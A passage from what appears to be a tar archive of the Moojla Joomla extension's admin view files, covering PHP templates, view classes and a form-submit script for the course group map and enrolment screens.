http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

$edit =
"index.php?option=com_moojla&view=course_group_maps&task=course_group_map.edit";

?>
<?php foreach ($this->items as $i => $item): ?>
	<?php
		$canCheckin = $this->user->authorise('core.manage',
'com_checkin') || $item->checked_out == $this->user->id
|| $item->checked_out == 0;
		$userChkOut = JFactory::getUser($item->checked_out);
		$canDo =
MoojlaHelper::getActions('course_group_map',$item,'course_group_maps');
	?>
	<tr class="row<?php echo $i % 2; ?>">
		<td class="order nowrap center hidden-phone">
		<?php if ($canDo->get('core.edit.state')): ?>
			<?php
				$iconClass = '';
				if (!$this->saveOrder)
				{
					$iconClass = ' inactive tip-top" hasTooltip"
title="' . JHtml::tooltipText('JORDERINGDISABLED');
				}
			?>
			<span class="sortable-handler<?php echo $iconClass;
?>">
				<i class="icon-menu"></i>
			</span>
			<?php if ($this->saveOrder) : ?>
				<input type="text" style="display:none"
name="order[]" size="5"
				value="<?php echo $item->ordering; ?>"
class="width-20 text-area-order " />
			<?php endif; ?>
		<?php else: ?>
			&#8942;
		<?php endif; ?>
		</td>
		<td class="nowrap center">
		<?php if ($canDo->get('core.edit')): ?>
				<?php if ($item->checked_out) : ?>
					<?php if ($canCheckin) : ?>
						<?php echo JHtml::_('grid.id', $i, $item->id); ?>
					<?php else: ?>
						&#9633;
					<?php endif; ?>
				<?php else: ?>
					<?php echo JHtml::_('grid.id', $i, $item->id); ?>
				<?php endif; ?>
		<?php else: ?>
			&#9633;
		<?php endif; ?>
		</td>
		<td class="hidden-phone">
			<?php echo $this->escape($item->moojlacourse_fullname); ?>
		</td>
		<td class="hidden-phone">
			<div>
			<?php echo $this->escape($item->course_group_title);
?></br><?=
$this->getModel()->group_users($item->course_group)?>
</br><?=
$this->getModel()->group_courses($item->course_group,
$item->moojlacourse)?>
<!--  [1313]=> Custom Course Group -->
			</div>
		</td>
		<td class="hidden-phone">
			<?php echo JText::_($item->role); ?>
		</td>
		<td class="center">
		<?php if ($canDo->get('core.edit.state')) : ?>
				<?php if ($item->checked_out) : ?>
					<?php if ($canCheckin) : ?>
						<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'course_group_maps.', true,
'cb'); ?>
					<?php else: ?>
						<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'course_group_maps.', false,
'cb'); ?>
					<?php endif; ?>
				<?php else: ?>
					<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'course_group_maps.', true,
'cb'); ?>
				<?php endif; ?>
		<?php else: ?>
			<?php echo JHtml::_('jgrid.published', $item->published,
$i, 'course_group_maps.', false, 'cb'); ?>
		<?php endif; ?>
		</td>
		<td class="nowrap center hidden-phone">
			<?php echo $item->id; ?>
		</td>
	</tr>
<?php endforeach;
?>views/course_group_maps/tmpl/default_foot.php000064400000002304151165724410015602
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_foot.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<tr>
	<td colspan="7"><?php echo
$this->pagination->getListFooter(); ?></td>
</tr>views/course_group_maps/tmpl/default_head.php000064400000005313151165724410015537
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_head.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<tr>
	<?php if ($this->canEdit&& $this->canState): ?>
		<th width="1%" class="nowrap center
hidden-phone">
			<?php echo JHtml::_('searchtools.sort', '',
'a.ordering', $this->listDirn, $this->listOrder, null,
'asc', 'JGRID_HEADING_ORDERING',
'icon-menu-2'); ?>
		</th>
		<th width="20" class="nowrap center">
			<?php echo JHtml::_('grid.checkall'); ?>
		</th>
	<?php else: ?>
		<th width="20" class="nowrap center
hidden-phone">
			&#9662;
		</th>
		<th width="20" class="nowrap center">
			&#9632;
		</th>
	<?php endif; ?>
	<th class="nowrap hidden-phone" >
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_COURSE_GROUP_MAP_MOOJLACOURSE_LABEL',
'g.fullname', $this->listDirn, $this->listOrder); ?>
	</th>
	<th class="nowrap hidden-phone" >
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_COURSE_GROUP_MAP_COURSE_GROUP_LABEL',
'h.title', $this->listDirn, $this->listOrder); ?>
	</th>
	<th class="nowrap hidden-phone" >
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_COURSE_GROUP_MAP_ROLE_LABEL', 'a.role',
$this->listDirn, $this->listOrder); ?>
	</th>
	<?php if ($this->canState): ?>
		<th width="10" class="nowrap center" >
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_COURSE_GROUP_MAP_STATUS', 'a.published',
$this->listDirn, $this->listOrder); ?>
		</th>
	<?php else: ?>
		<th width="10" class="nowrap center" >
			<?php echo JText::_('COM_MOOJLA_COURSE_GROUP_MAP_STATUS');
?>
		</th>
	<?php endif; ?>
	<th width="5" class="nowrap center hidden-phone"
>
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_COURSE_GROUP_MAP_ID', 'a.id',
$this->listDirn, $this->listOrder); ?>
	</th>
</tr>views/course_group_maps/tmpl/default_toolbar.php000064400000007064151165724410016305
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_toolbar.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<div id="filter-bar" class="btn-toolbar">
        <div class="filter-search btn-group pull-left">
            <label for="filter_search"
class="element-invisible"><?php echo
JText::_('Search');?></label>
            <input type="text" name="filter_search"
id="filter_search" placeholder="<?php echo
JText::_('JSEARCH_FILTER'); ?>" value="<?php echo
$this->escape($this->state->get('filter.search'));
?>" class="hasTooltip" title="<?php echo
JHtml::tooltipText('Search Course_group_maps'); ?>" />
        </div>
        <div class="btn-group pull-left">
            <button type="submit" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_SUBMIT'); ?>"><i
class="icon-search"></i></button>
            <button type="button" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_CLEAR'); ?>"
onclick="document.id('filter_search').value='';this.form.submit();"><i
class="icon-remove"></i></button>
        </div>
        <div class="btn-group pull-right hidden-phone">
            <label for="limit"
class="element-invisible"><?php echo
JText::_('JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC');?></label>
            <?php echo $this->pagination->getLimitBox(); ?>
        </div>
        <div class="btn-group pull-right hidden-phone">
            <label for="directionTable"
class="element-invisible"><?php echo
JText::_('JFIELD_ORDERING_DESC');?></label>
            <select name="directionTable"
id="directionTable" class="input-medium"
onchange="Joomla.orderTable()">
                <option value=""><?php echo
JText::_('JFIELD_ORDERING_DESC');?></option>
                <option value="asc" <?php if
($this->listDirn == 'asc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_ASCENDING');?></option>
                <option value="desc" <?php if
($this->listDirn == 'desc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_DESCENDING');?></option>
            </select>
        </div>
        <div class="btn-group pull-right">
            <label for="sortTable"
class="element-invisible"><?php echo
JText::_('JGLOBAL_SORT_BY');?></label>
            <select name="sortTable" id="sortTable"
class="input-medium" onchange="Joomla.orderTable()">
                <option value=""><?php echo
JText::_('JGLOBAL_SORT_BY');?></option>
                <?php echo JHtml::_('select.options',
$this->getSortFields(), 'value', 'text',
$this->listOrder);?>
            </select>
        </div>
    </div>
<div class="clearfix">
</div>views/course_group_maps/tmpl/index.html000064400000000054151165724410014413
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/course_group_maps/view.html.php000064400000020256151165724410014076
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		view.html.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

/**
 * Moojla View class for the Course_group_maps
 */
class MoojlaViewCourse_group_maps extends JViewLegacy
{
	/**
	 * Course_group_maps view display method
	 * @return void
	 */
	function display($tpl = null)
	{
		if ($this->getLayout() !== 'modal')
		{
			// Include helper submenu
			MoojlaHelper::addSubmenu('course_group_maps');
		}

		// Assign data to the view
		$this->items = $this->get('Items');
		$this->pagination = $this->get('Pagination');
		$this->state = $this->get('State');
		$this->user = JFactory::getUser();
		// Load the filter form from xml.
		$this->filterForm = $this->get('FilterForm');
		// Load the active filters.
		$this->activeFilters = $this->get('ActiveFilters');
		// Add the list ordering clause.
		$this->listOrder =
$this->escape($this->state->get('list.ordering',
'a.id'));
		$this->listDirn =
$this->escape($this->state->get('list.direction',
'DESC'));
		$this->saveOrder = $this->listOrder == 'a.ordering';
		// set the return here value
		$this->return_here = urlencode(base64_encode((string)
JUri::getInstance()));
		// get global action permissions
		$this->canDo = MoojlaHelper::getActions('course_group_map');
		$this->canEdit = $this->canDo->get('core.edit');
		$this->canState =
$this->canDo->get('core.edit.state');
		$this->canCreate = $this->canDo->get('core.create');
		$this->canDelete = $this->canDo->get('core.delete');
		$this->canBatch = $this->canDo->get('core.batch');

		// We don't need toolbar in the modal window.
		if ($this->getLayout() !== 'modal')
		{
			$this->addToolbar();
			$this->sidebar = JHtmlSidebar::render();
			// load the batch html
			if ($this->canCreate && $this->canEdit &&
$this->canState)
			{
				$this->batchDisplay = JHtmlBatch_::render();
			}
		}
		
		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Display the template
		parent::display($tpl);

		// Set the document
		$this->setDocument();
	}

	/**
	 * Setting the toolbar
	 */
	protected function addToolBar()
	{
		JToolBarHelper::title(JText::_('COM_MOOJLA_COURSE_GROUP_MAPS'),
'grid-2');
		JHtmlSidebar::setAction('index.php?option=com_moojla&view=course_group_maps');
		JFormHelper::addFieldPath(JPATH_COMPONENT . '/models/fields');

		if ($this->canCreate)
		{
			JToolBarHelper::addNew('course_group_map.add');
		}

		// Only load if there are items
		if (MoojlaHelper::checkArray($this->items))
		{
			if ($this->canEdit)
			{
				JToolBarHelper::editList('course_group_map.edit');
			}

			if ($this->canState)
			{
				JToolBarHelper::publishList('course_group_maps.publish');
				JToolBarHelper::unpublishList('course_group_maps.unpublish');
				JToolBarHelper::archiveList('course_group_maps.archive');

				if ($this->canDo->get('core.admin'))
				{
					JToolBarHelper::checkin('course_group_maps.checkin');
				}
			}

			// Add a batch button
			if ($this->canBatch && $this->canCreate &&
$this->canEdit && $this->canState)
			{
				// Get the toolbar object instance
				$bar = JToolBar::getInstance('toolbar');
				// set the batch button name
				$title = JText::_('JTOOLBAR_BATCH');
				// Instantiate a new JLayoutFile instance and render the batch button
				$layout = new JLayoutFile('joomla.toolbar.batch');
				// add the button to the page
				$dhtml = $layout->render(array('title' => $title));
				$bar->appendButton('Custom', $dhtml, 'batch');
			}

			if ($this->state->get('filter.published') == -2
&& ($this->canState && $this->canDelete))
			{
				JToolbarHelper::deleteList('',
'course_group_maps.delete', 'JTOOLBAR_EMPTY_TRASH');
			}
			elseif ($this->canState && $this->canDelete)
			{
				JToolbarHelper::trash('course_group_maps.trash');
			}
		}
		if
($this->user->authorise('course_group_map.migrate_from_joomdle',
'com_moojla'))
		{
			// add Migrate from Joomdle button.
			JToolBarHelper::custom('course_group_maps.migrateFromJoomdle',
'database custom-button-migratefromjoomdle', '',
'COM_MOOJLA_MIGRATE_FROM_JOOMDLE', false);
		}
		if ($this->user->authorise('course_group_map.fetch',
'com_moojla'))
		{
			// add fetch button.
			JToolBarHelper::custom('course_group_maps.fetch', 'joomla
custom-button-fetch', '', 'COM_MOOJLA_FETCH',
false);
		}

		// set help url for this view if found
		$help_url = MoojlaHelper::getHelpUrl('course_group_maps');
		if (MoojlaHelper::checkString($help_url))
		{
				JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
		}

		// add the options comp button
		if ($this->canDo->get('core.admin') ||
$this->canDo->get('core.options'))
		{
			JToolBarHelper::preferences('com_moojla');
		}

		// Only load published batch if state and batch is allowed
		if ($this->canState && $this->canBatch)
		{
			JHtmlBatch_::addListSelection(
				JText::_('COM_MOOJLA_KEEP_ORIGINAL_STATE'),
				'batch[published]',
				JHtml::_('select.options',
JHtml::_('jgrid.publishedOptions', array('all' =>
false)), 'value', 'text', '', true)
			);
		}

		// Only load Role batch if create, edit, and batch is allowed
		if ($this->canBatch && $this->canCreate &&
$this->canEdit)
		{
			// Set Role Selection
			$this->roleOptions =
JFormHelper::loadFieldType('coursegroupmapsfilterrole')->options;
			// We do some sanitation for Role filter
			if (MoojlaHelper::checkArray($this->roleOptions) &&
				isset($this->roleOptions[0]->value) &&
				!MoojlaHelper::checkString($this->roleOptions[0]->value))
			{
				unset($this->roleOptions[0]);
			}
			// Role Batch Selection
			JHtmlBatch_::addListSelection(
				'- Keep Original
'.JText::_('COM_MOOJLA_COURSE_GROUP_MAP_ROLE_LABEL').'
-',
				'batch[role]',
				JHtml::_('select.options', $this->roleOptions,
'value', 'text')
			);
		}
	}

	/**
	 * Method to set up the document properties
	 *
	 * @return void
	 */
	protected function setDocument()
	{
		if (!isset($this->document))
		{
			$this->document = JFactory::getDocument();
		}
		$this->document->setTitle(JText::_('COM_MOOJLA_COURSE_GROUP_MAPS'));
		$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/course_group_maps.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
	}

	/**
	 * Escapes a value for output in a view script.
	 *
	 * @param   mixed  $var  The output to escape.
	 *
	 * @return  mixed  The escaped value.
	 */
	public function escape($var)
	{
		if(strlen($var) > 50)
		{
			// use the helper htmlEscape method instead and shorten the string
			return MoojlaHelper::htmlEscape($var, $this->_charset, true);
		}
		// use the helper htmlEscape method instead.
		return MoojlaHelper::htmlEscape($var, $this->_charset);
	}

	/**
	 * Returns an array of fields the table can be sorted by
	 *
	 * @return  array  Array containing the field name to sort by as the key
and display text as value
	 */
	protected function getSortFields()
	{
		return array(
			'a.ordering' =>
JText::_('JGRID_HEADING_ORDERING'),
			'a.published' => JText::_('JSTATUS'),
			'g.fullname' =>
JText::_('COM_MOOJLA_COURSE_GROUP_MAP_MOOJLACOURSE_LABEL'),
			'h.title' =>
JText::_('COM_MOOJLA_COURSE_GROUP_MAP_COURSE_GROUP_LABEL'),
			'a.role' =>
JText::_('COM_MOOJLA_COURSE_GROUP_MAP_ROLE_LABEL'),
			'a.id' => JText::_('JGRID_HEADING_ID')
		);
	}
}
views/enrolment/submitbutton.js000064400000002746151165724410013020
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		submitbutton.js
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

Joomla.submitbutton = function(task)
{
	if (task == ''){
		return false;
	} else { 
		var action = task.split('.');
		if (action[1] == 'cancel' || action[1] == 'close' ||
document.formvalidator.isValid(document.getElementById("adminForm"))){
			Joomla.submitform(task, document.getElementById("adminForm"));
			return true;
		} else {
			alert(Joomla.JText._('enrolment, some values are not
acceptable.','Some values are unacceptable'));
			return false;
		}
	}
}views/enrolment/tmpl/edit.php000064400000011335151165724410012327
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		edit.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.formvalidation');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('behavior.keepalive');
$componentParams = $this->params; // will be removed just use
$this->params instead
?>
<script type="text/javascript">
	// waiting spinner
	var outerDiv = jQuery('body');
	jQuery('<div id="loading"></div>')
		.css("background", "rgba(255, 255, 255, .8)
url('components/com_moojla/assets/images/import.gif') 50% 15%
no-repeat")
		.css("top", outerDiv.position().top -
jQuery(window).scrollTop())
		.css("left", outerDiv.position().left -
jQuery(window).scrollLeft())
		.css("width", outerDiv.width())
		.css("height", outerDiv.height())
		.css("position", "fixed")
		.css("opacity", "0.80")
		.css("-ms-filter",
"progid:DXImageTransform.Microsoft.Alpha(Opacity = 80)")
		.css("filter", "alpha(opacity = 80)")
		.css("display", "none")
		.appendTo(outerDiv);
	jQuery('#loading').show();
	// when page is ready remove and show
	jQuery(window).load(function() {
		jQuery('#moojla_loader').fadeIn('fast');
		jQuery('#loading').hide();
	});
</script>
<div id="moojla_loader" style="display: none;">
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&layout=edit&id='.
(int) $this->item->id . $this->referral); ?>"
method="post" name="adminForm" id="adminForm"
class="form-validate" enctype="multipart/form-data">

<div class="form-horizontal">

	<?php echo JHtml::_('bootstrap.startTabSet',
'enrolmentTab', array('active' =>
'details')); ?>

	<?php echo JHtml::_('bootstrap.addTab',
'enrolmentTab', 'details',
JText::_('COM_MOOJLA_ENROLMENT_DETAILS', true)); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span6">
				<?php echo JLayoutHelper::render('enrolment.details_left',
$this); ?>
			</div>
			<div class="span6">
				<?php echo
JLayoutHelper::render('enrolment.details_right', $this); ?>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>

	<?php $this->ignore_fieldsets =
array('details','metadata','vdmmetadata','accesscontrol');
?>
	<?php $this->tab_name = 'enrolmentTab'; ?>
	<?php echo JLayoutHelper::render('joomla.edit.params',
$this); ?>

	<?php if ($this->canDo->get('core.edit.created_by') ||
$this->canDo->get('core.edit.created') ||
$this->canDo->get('core.edit.state') ||
($this->canDo->get('core.delete') &&
$this->canDo->get('core.edit.state'))) : ?>
	<?php echo JHtml::_('bootstrap.addTab',
'enrolmentTab', 'publishing',
JText::_('COM_MOOJLA_ENROLMENT_PUBLISHING', true)); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span6">
				<?php echo JLayoutHelper::render('enrolment.publishing',
$this); ?>
			</div>
			<div class="span6">
				<?php echo JLayoutHelper::render('enrolment.publlshing',
$this); ?>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>
	<?php endif; ?>

	<?php if ($this->canDo->get('core.admin')) : ?>
	<?php echo JHtml::_('bootstrap.addTab',
'enrolmentTab', 'permissions',
JText::_('COM_MOOJLA_ENROLMENT_PERMISSION', true)); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span12">
				<fieldset class="adminform">
					<div class="adminformlist">
					<?php foreach
($this->form->getFieldset('accesscontrol') as $field):
?>
						<div>
							<?php echo $field->label; echo $field->input;?>
						</div>
						<div class="clearfix"></div>
					<?php endforeach; ?>
					</div>
				</fieldset>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>
	<?php endif; ?>

	<?php echo JHtml::_('bootstrap.endTabSet'); ?>

	<div>
		<input type="hidden" name="task"
value="enrolment.edit" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</div>
</form>
</div>
views/enrolment/tmpl/index.html000064400000000054151165724410012662
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/enrolment/view.html.php000064400000015275151165724410012352
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		view.html.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

/**
 * Enrolment View class
 */
class MoojlaViewEnrolment extends JViewLegacy
{
	/**
	 * display method of View
	 * @return void
	 */
	public function display($tpl = null)
	{
		// set params
		$this->params = JComponentHelper::getParams('com_moojla');
		// Assign the variables
		$this->form = $this->get('Form');
		$this->item = $this->get('Item');
		$this->script = $this->get('Script');
		$this->state = $this->get('State');
		// get action permissions
		$this->canDo = MoojlaHelper::getActions('enrolment',
$this->item);
		// get input
		$jinput = JFactory::getApplication()->input;
		$this->ref = $jinput->get('ref', 0, 'word');
		$this->refid = $jinput->get('refid', 0, 'int');
		$return = $jinput->get('return', null, 'base64');
		// set the referral string
		$this->referral = '';
		if ($this->refid && $this->ref)
		{
			// return to the item that referred to this item
			$this->referral = '&ref=' . (string)$this->ref .
'&refid=' . (int)$this->refid;
		}
		elseif($this->ref)
		{
			// return to the list view that referred to this item
			$this->referral = '&ref=' . (string)$this->ref;
		}
		// check return value
		if (!is_null($return))
		{
			// add the return value
			$this->referral .= '&return=' . (string)$return;
		}

		// Set the toolbar
		$this->addToolBar();
		
		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Display the template
		parent::display($tpl);

		// Set the document
		$this->setDocument();
	}


	/**
	 * Setting the toolbar
	 */
	protected function addToolBar()
	{
		JFactory::getApplication()->input->set('hidemainmenu',
true);
		$user = JFactory::getUser();
		$userId	= $user->id;
		$isNew = $this->item->id == 0;

		JToolbarHelper::title( JText::_($isNew ?
'COM_MOOJLA_ENROLMENT_NEW' :
'COM_MOOJLA_ENROLMENT_EDIT'), 'pencil-2 article-add');
		// Built the actions for new and existing records.
		if (MoojlaHelper::checkString($this->referral))
		{
			if ($this->canDo->get('core.create') && $isNew)
			{
				// We can create the record.
				JToolBarHelper::save('enrolment.save',
'JTOOLBAR_SAVE');
			}
			elseif ($this->canDo->get('core.edit'))
			{
				// We can save the record.
				JToolBarHelper::save('enrolment.save',
'JTOOLBAR_SAVE');
			}
			if ($isNew)
			{
				// Do not creat but cancel.
				JToolBarHelper::cancel('enrolment.cancel',
'JTOOLBAR_CANCEL');
			}
			else
			{
				// We can close it.
				JToolBarHelper::cancel('enrolment.cancel',
'JTOOLBAR_CLOSE');
			}
		}
		else
		{
			if ($isNew)
			{
				// For new records, check the create permission.
				if ($this->canDo->get('core.create'))
				{
					JToolBarHelper::apply('enrolment.apply',
'JTOOLBAR_APPLY');
					JToolBarHelper::save('enrolment.save',
'JTOOLBAR_SAVE');
					JToolBarHelper::custom('enrolment.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
				};
				JToolBarHelper::cancel('enrolment.cancel',
'JTOOLBAR_CANCEL');
			}
			else
			{
				if ($this->canDo->get('core.edit'))
				{
					// We can save the new record
					JToolBarHelper::apply('enrolment.apply',
'JTOOLBAR_APPLY');
					JToolBarHelper::save('enrolment.save',
'JTOOLBAR_SAVE');
					// We can save this record, but check the create permission to see
					// if we can return to make a new one.
					if ($this->canDo->get('core.create'))
					{
						JToolBarHelper::custom('enrolment.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
					}
				}
				$canVersion = ($this->canDo->get('core.version')
&& $this->canDo->get('enrolment.version'));
				if ($this->state->params->get('save_history', 1)
&& $this->canDo->get('core.edit') &&
$canVersion)
				{
					JToolbarHelper::versions('com_moojla.enrolment',
$this->item->id);
				}
				if ($this->canDo->get('core.create'))
				{
					JToolBarHelper::custom('enrolment.save2copy',
'save-copy.png', 'save-copy_f2.png',
